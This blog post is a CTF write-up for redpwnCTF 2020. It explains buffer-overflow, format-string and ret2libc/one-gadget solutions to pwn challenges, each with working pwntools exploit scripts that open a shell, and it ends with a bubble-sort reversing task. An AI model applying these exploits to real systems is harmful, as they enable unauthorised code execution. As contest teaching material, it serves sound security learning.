본문 바로가기
CTF

[CTF] redpwnCTF 2020 Write up

by snwo 2020. 6. 28.

The design of that site was pretty cool.

I got 235th place in redpwn ctf as a team name, New beginner


  •  PWN 

  • coffer-overflow-0
  • coffer-overflow-1
  • coffer-overflow-2

  • secret-flag

  • the-library

 

  •  REV 

  • bubbly
  • SMArT-solver


    PWNABLE    


coffer-overflow-0


#include <stdio.h>
#include <string.h>

int main(void)
{
  long code = 0;
  char name[16];
  
  setbuf(stdout, NULL);
  setbuf(stdin, NULL);
  setbuf(stderr, NULL);

  puts("Welcome to coffer overflow, where our coffers are overfilling with bytes ;)");
  puts("What do you want to fill your coffer with?");

  gets(name);

  if(code != 0) {
    system("/bin/sh");
  }
}

It take input by gets, so BOF(buffer overflow) occurs.

the value of code is 0.

 

so, just input more than location of variable code


Name : [rbp-0x20]

Code : [rbp-0x8]

 

distance : 0x20-0x8 = 0x18

 

I got it. I have to input more than 0x18


from pwn import *
r=remote("2020.redpwnc.tf",31199)
#r=process("./coffer-overflow-0")
pay=""
pay+='x'*0x20

r.sendline(pay)

r.interactive()


coffer-overflow-1

 


#include <stdio.h>
#include <string.h>

int main(void)
{
  long code = 0;
  char name[16];
  
  setbuf(stdout, NULL);
  setbuf(stdin, NULL);
  setbuf(stderr, NULL);

  puts("Welcome to coffer overflow, where our coffers are overfilling with bytes ;)");
  puts("What do you want to fill your coffer with?");

  gets(name);

  if(code == 0xcafebabe) {
    system("/bin/sh");
  }
}

Likewise, BOF occurs, and code must be 0xcafebabe

 

name : [rbp-0x20]

code : [rbp-0x8]

 

distance : 0x18

code : name+0x18

 

so we can change code after sending 0x18 dummy byte

 

if we input 1234, it will be 0x34333231. 

because it uses little-endian.

 

so input \xbe\xba\xfe\xca


from pwn import *
r=remote("2020.redpwnc.tf",31255)
#r=process("./coffer-overflow-1")
pay=""
pay+='x'*(0x20-0x8)
pay+=p32(0xcafebabe)

r.sendline(pay)

r.interactive()

in pwntools, it has useful function, p32()

 

it packs int to little-endian strings



coffer-overflow-2


int main(void)
{
  char name[16];
  
  setbuf(stdout, NULL);
  setbuf(stdin, NULL);
  setbuf(stderr, NULL);

  puts("Welcome to coffer overflow, where our coffers are overfilling with bytes ;)");
  puts("What do you want to fill your coffer with?");

  gets(name);
}

void binFunction() {
  system("/bin/sh");
}

we can overflow and overwrite return-address to binFunction()

 

name is located in [RBP-0x10]

 

so input DUMMY 0x10 byte and overwrite RBP (8byte)

and overwrite RET-address to binFunction()


from pwn import *
r=remote("2020.redpwnc.tf",31908)
b=ELF("./coffer-overflow-2")
pay=""
pay+='x'*0x18
pay+=p64(b.symbols['binFunction'])

r.sendline(pay)

r.interactive()

secret-flag


undefined8 FUN_0010091a(void)

{
  int __fd;
  void *__buf;
  long in_FS_OFFSET;
  char local_28 [24];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  __buf = malloc(0x100);
  __fd = open("flag.txt",0);
  read(__fd,__buf,0x100);
  setbuf(stdout,(char *)0x0);
  setbuf(stdin,(char *)0x0);
  setbuf(stderr,(char *)0x0);
  puts("I have a secret flag, which you\'ll never get!");
  puts("What is your name, young adventurer?");
  fgets(local_28,0x14,stdin);
  printf("Hello there: ");
  printf(local_28);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

flag file is already read and it is on the stack.

 

they get input and print what i input without format

it is connected to FSB (format string bug)

 

so i can leak stack


from pwn import *
from binascii import *
b=ELF("./secret-flag")

leak=''
r=remote("2020.redpwnc.tf",31826)
#r=process("./secret-flag")
pay="%7$s"
r.recv()
r.sendline(pay)

r.interactive()

after many tries, I found flag is in the 7th place, 

and use %7$s to leak flag.

 

(%s - char *, it points to address of the flag and print the value in that address)

 



the-library


library and .c file are given.

there is the only NX

but I use one-gadget in the library. so it doesn't problem

 

#include <stdio.h>
#include <string.h>

int main(void)
{
  char name[16];
  
  setbuf(stdout, NULL);
  setbuf(stdin, NULL);
  setbuf(stderr, NULL);

  puts("Welcome to the library... What's your name?");

  read(0, name, 0x100);
  puts("Hello there: ");
  puts(name);
}

the size of name is 16 but it gets input 0x100 byte (256)

so I can leak the address of .got and I can get the library-base address.

( architecture is 64bits )

 

[ 1 ] First, return to pop rdi ; ret gadget and move rdi to got address of puts

[ 2 ] Second, return to puts and puts the address of puts in the library

[ 3 ] Third, get the address of oneshot-gadget  in the library, and return to the main function again

[ 4 ] fourth, return to Oneshot-gadget in the library

 

find by one_gadget


from pwn import *

#r=process("./the-library")
r=remote("2020.redpwnc.tf",31350)
libc=ELF("./libc.so.6")
b=ELF("./the-library")
context.log_level='debug'

prdi=0x400733
oneshot=0x10a38c #0x4f2c5 0x10a38c

pay=""
pay+='x'*0x18
pay+=p64(prdi)
pay+=p64(b.got['puts'])
pay+=p64(b.plt['puts'])
pay+=p64(b.symbols['main'])

r.sendline(pay)

t=r.recvuntil("\x7f")[::-1]
t=t[:6]
t=t[::-1]
libcbase=u64(t.ljust(8,'\x00'))-libc.symbols['puts']

log.info(hex(libcbase))

oneshot+=libcbase

log.info(hex(oneshot))

pay2=""
pay2+='x'*0x18
pay2+=p64(oneshot)

r.sendline(pay2)

r.interactive()



    REVERSING    


bubbly


int main(void)

{
  uint32_t i;
  int unused;
  _Bool pass;
  
  setbuf(stdout,(char *)0x0);
  setbuf(stdin,(char *)0x0);
  setbuf(stderr,(char *)0x0);
  puts("I hate my data structures class! Why can\'t I just sort by hand?");
  pass = false;
  while( true ) {
    __isoc99_scanf(&DAT_00102058);
    if (8 < i) break;
    nums[i] = nums[i] ^ nums[i + 1];
    nums[i + 1] = nums[i + 1] ^ nums[i];
    nums[i] = nums[i] ^ nums[i + 1];
    pass = check();
  }
  if (pass == false) {
    puts("Try again!");
  }
  else {
    puts("Well done!");
    print_flag();
  }
  return 0;
}

nums[9]={0x1,0xa,0x3,0x2,0x5,0x9,0x8,0x7,0x4,0x6}

it is self-bubble-sort. nums is already given, so just connect to nc server and sort nums


from pwn import *
from time import *
r=remote("2020.redpwnc.tf",31039)
context.log_level="debug"
sleep(10)

# 0 1 2 3 4 5 6 7 8 9
# 1 a 3 2 5 9 8 7 4 6 -> 1
# 1 3 a 2 5 9 8 7 4 6 -> 2
# 1 3 2 a 5 9 8 7 4 6 -> 1
# 1 2 3 a 5 9 8 7 4 6 -> 3
# 1 2 3 5 a 9 8 7 4 6 -> 4
# 1 2 3 5 9 a 8 7 4 6 -> 5
# 1 2 3 5 9 8 a 7 4 6 -> 6
# 1 2 3 5 9 8 7 a 4 6 -> 7
# 1 2 3 5 9 8 7 4 a 6 -> 5
# 1 2 3 5 9 7 8 4 a 6 -> 6
# 1 2 3 5 9 7 4 8 a 6 -> 5
# 1 2 3 5 9 4 7 8 a 6 -> 4
# 1 2 3 5 4 9 7 8 a 6 -> 3
# 1 2 3 4 5 9 7 8 a 6 -> 8
# 1 2 3 4 5 9 7 8 6 a -> 7
# 1 2 3 4 5 9 7 6 8 a -> 6
# 1 2 3 4 5 9 6 7 8 a -> 5
# 1 2 3 4 5 6 9 7 8 a -> 6
# 1 2 3 4 5 6 7 9 8 a -> 7
# 1 2 3 4 5 6 7 8 9 a  done (9)
#pay load is 1 2 1 3 4 5 6 7 5 6 5 4 3 8 7 6 5 6 7

#r.sendline("1 2 1 3 4 5 6 7 5 6 5 4 3 8 7 6 5 6 7 9")

bubble=[1,0xa,3, 2, 5, 9, 8, 7, 4, 6]
for i in range(len(bubble)):
    for j in range(len(bubble)-1):
        if bubble[j]>bubble[j+1]:
            r.sendline(j)
            t=bubble[j]
            bubble[j]=bubble[j+1]
            bubble[j+1]=t

print bubble
r.sendline(9) # if i>8, break
r.interactive()

i wrote simple bubble sort script 



 

thank you for reading. my English is soooooo poor.

so I'm gonna read a lot of English-Write up and post with a better English ability